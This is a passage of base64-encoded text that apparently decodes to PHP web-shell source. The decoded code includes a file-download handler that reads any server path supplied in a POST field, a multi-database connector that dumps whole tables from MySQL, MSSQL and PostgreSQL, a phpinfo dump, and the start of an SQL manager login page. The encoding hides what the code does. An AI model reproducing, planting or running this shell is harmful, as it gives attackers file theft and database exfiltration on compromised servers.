gICAgICAkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gJGhleGR0aW1lOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7DQogICAgICAgICRjZHJlYyAuPSAkbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9DQogICAgZnVuY3Rpb24gZmlsZSgpDQogICAgew0KICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0YSAuDQogICAgICAgICAgICAkY3RybGRpciAuDQogICAgICAgICAgICAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLg0KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4NCiAgICAgICAgICAgICJceDAwXHgwMCI7DQogICAgfQ0KfQ0KZnVuY3Rpb24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcykNCiB7DQogICAgZ2xvYmFsICRjb250ZW50X2VuY29kaW5nOw0KICAgIGdsb2JhbCAkbWltZV90eXBlOw0KICAgIGlmICgkY29tcHJlc3MgPT0gJ2J6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkNCiAgICAgew0KICAgICAgICAkZmlsZW5hbWUgIC49ICcuYnoyJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWJ6aXAyJzsNCiAgICAgICAgJGZpbGVkdW1wID0gYnpjb21wcmVzcygkZmlsZWR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnZ3ppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSkNCiAgICAgew0KICAgICAgICAkZmlsZW5hbWUgIC49ICcuZ3onOw0KICAgICAgICAkY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOw0KICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtZ3ppcCc7DQogICAgICAgICRmaWxlZHVtcCA9IGd6ZW5jb2RlKCRmaWxlZHVtcCk7DQogICAgIH0NCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkNCiAgICAgew0KICAgICAgICAgICAgICRmaWxlbmFtZSAuPSAnLnppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCiAgICAgfQ0KIH0NCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQogew0KICRoZWFkZXJzICA9ICJGcm9tOiAkZnJvbVxyXG4iOw0KICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6ICIuJGF0dGFjaFsndHlwZSddOw0KICRoZWFkZXJzIC49ICI7IG5hbWU9XCIiLiRhdHRhY2hbJ25hbWUnXS4iXCJcclxuIjsNCiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KICRoZWFkZXJzIC49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGF0dGFjaFsnY29udGVudCddKSkuIlxyXG4iOw0KIGlmKEBtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0NCiByZXR1cm4gMDsNCiB9DQpjbGFzcyBteV9zcWwNCiB7DQogdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQogdmFyICRwb3J0ID0gJyc7DQogdmFyICR1c2VyID0gJyc7DQogdmFyICRwYXNzID0gJyc7DQogdmFyICRiYXNlID0gJyc7DQogdmFyICRkYiAgID0gJyc7DQogdmFyICRjb25uZWN0aW9uOw0KIHZhciAkcmVzOw0KIHZhciAkZXJyb3I7DQogdmFyICRyb3dzOw0KIHZhciAkY29sdW1uczsNCiB2YXIgJG51bV9yb3dzOw0KIHZhciAkbnVtX2ZpZWxkczsNCiB2YXIgJGR1bXA7DQoNCiBmdW5jdGlvbiBjb25uZWN0KCkNCiAgew0KICAgICAgICAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgIHsNCiAgICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogICAgICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgICAgICAgYnJlYWs7DQogICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICcxNDMzJzsgfQ0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgICAgICAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCiAgICAgIGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzU0MzInOyB9DQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOw0KICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsNCiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgIGJyZWFrOw0KICAgICB9DQogICAgcmV0dXJuIDA7DQogIH0NCg0KIGZ1bmN0aW9uIHNlbGVjdF9kYigpDQogIHsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAgICAgICAgIGNhc2UgJ015U1FMJzoNCiAgICAgICAgICAgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgICAgICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gMTsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gcXVlcnkoJHF1ZXJ5KQ0KICB7DQogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCiAgIHN3aXRjaCgkdGhpcy0+ZGIpDQogICAgew0KICAgICAgICAgIGNhc2UgJ015U1FMJzoNCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnkoJy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7DQogICAgICByZXR1cm4gMDsNCiAgICAgIH0NCiAgICAgZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSkgeyByZXR1cm4gMTsgfQ0KICAgICByZXR1cm4gMjsNCiAgICAgICAgICBicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsNCiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAgICBicmVhazsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsNCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgICAgICAgICBjYXNlICdNeVNRTCc6DQogICAgICAgICAgICR0aGlzLT5udW1fcm93cz1AbXlzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgICAgICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAgICAgICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgICAgICAgICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAgICAgICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAgICAgICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAgICAgICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogICAgICAgICAgIEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgICAgICAgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgICAgICAgICAgJHRoaXMtPm51bV9maWVsZHM9QHBnX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogICAgICAgICAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAgICAgICAgICBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogICAgICAgICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAkdGhpcy0+bnVtX2ZpZWxkcz1Ab2NpbnVtY29scygkdGhpcy0+cmVzKTsNCiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOw0KICAgICBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsNCiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpDQogIHsNCiAgIGlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KICAgJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiAgICR0aGlzLT5kdW1wWzBdID0gJyMjJzsNCiAgICR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQogICAkdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFzZTogJy4kdGhpcy0+YmFzZTsNCiAgICR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJsZTsNCiAgICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgICAgICAgICAgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgICAgICAgICAgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAgICAgICAgICBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogICAgICAgICAgICAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoYCcuQGltcGxvZGUoImAsIGAiLCAkdGhpcy0+Y29sdW1ucykuJ2ApIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7DQogICAgICAgICAgICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgICAgICAgICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICAgICAgICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogICAgICAgICAgIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgICAgICAgICAgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQogICAgICAgICAgICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgICAgICAgICAgIH0NCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOw0KICAgICAgJHRoaXMtPmR1bXBbXSAgPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogICByZXR1cm4gMTsNCiAgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogICAgICAgICAgY2FzZSAnTXlTUUwnOg0KICAgICAgICAgICByZXR1cm4gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICByZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICByZXR1cm4gQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZG93bmxvYWRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZF9uYW1lJ10pKQ0KIHsNCiAgaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydkX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgZWxzZQ0KICAgew0KICAgIEBvYl9jbGVhbigpOw0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2RfbmFtZSddKTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZF9uYW1lJ10pKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5cGU9Jyc7DQogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KICAgIGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSB7IGhlYWRlcignQ29udGVudC1FbmNvZGluZzogJyAuICRjb250ZW50X2VuY29kaW5nKTsgfQ0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7DQogICAgZWNobyAkZmlsZWR1bXA7DQogICAgZXhpdCgpOw0KICAgfQ0KIH0NCg0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQppZihpc3NldCgkX0dFVFsnc3FsbWFuJ10pKSB7DQpzZXNzaW9uX3N0YXJ0KCk7DQokYWN0aW9uID0gJEhUVFBfR0VUX1ZBUlNbJ2FjdGlvbiddOw0KJHBhZ2VtYXg9MjA7IC8vIE1heGltdW0gcm93cyBkaXNwbGFlZCBwZXIgcGFnZSwgY2hhbmdlIHRvIGRpc3BsYXkgbW9yZSBvciBsZXNzIHJvd3MgcGVyIHBhZ2UuDQpmdW5jdGlvbiBzaG93X2xvZ2luKCRkYm5hbWVhcnJheSl7DQogICAgICRob3N0ZGVmYXVsdD0ibG9jYWxob3N0IjsNCiAgICAgICAgICAgICAgICBlY2hvIjx0YWJsZT4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGZvcm0gIG5hbWU9J3Nob3dsb2dpbicgbWV0aG9kPSdwb3N0JyBhY3Rpb249JyRhY3Rpb24nPiI7DQogICAgICAgIGlmKGNvdW50KCRob3N0ZGVmYXVsdCkgPiAxKXsNCiAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD4/Pz8gQz8/Pz8/Pz86PC90ZD48dGQ+PHNlbGVjdCBuYW1lPWhvc3Q+IjsNCiAgICAgICAgICAgIGZvcigkeD0wOyAkeCA8IGNvdW50KCRob3N0ZGVmYXVsdCk7JHgrKyl7DQogICAgICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRob3N0ZGVmYXVsdFskeF0+JGhvc3RkZWZhdWx0WyR4XSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIjwvc2VsZWN0PjwvdGQ+PC90cj5cbiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgZWNobyI8dHI+PHRkPtPt0d3RIN7mx9rPIMfhy